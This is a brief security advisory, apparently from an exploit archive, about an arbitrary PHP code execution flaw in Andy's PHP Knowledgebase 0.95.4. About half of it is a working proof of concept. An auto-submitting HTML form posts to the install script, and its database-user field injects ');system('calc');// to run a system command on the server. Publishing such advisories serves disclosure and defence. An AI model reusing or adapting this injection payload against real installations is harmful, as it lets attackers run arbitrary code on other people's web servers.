source: https://www.securityfocus.com/bid/47918/info Andy's PHP Knowledgebase is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input. Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process. Andy's PHP Knowledgebase 0.95.4 is vulnerable; other versions may also be affected. <html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/aphpkb/install/step5.php"> <input type="hidden" name="install_dbuser" value="');system('calc');//" /> <input type="submit" name="submit" /> </form> </body> </html>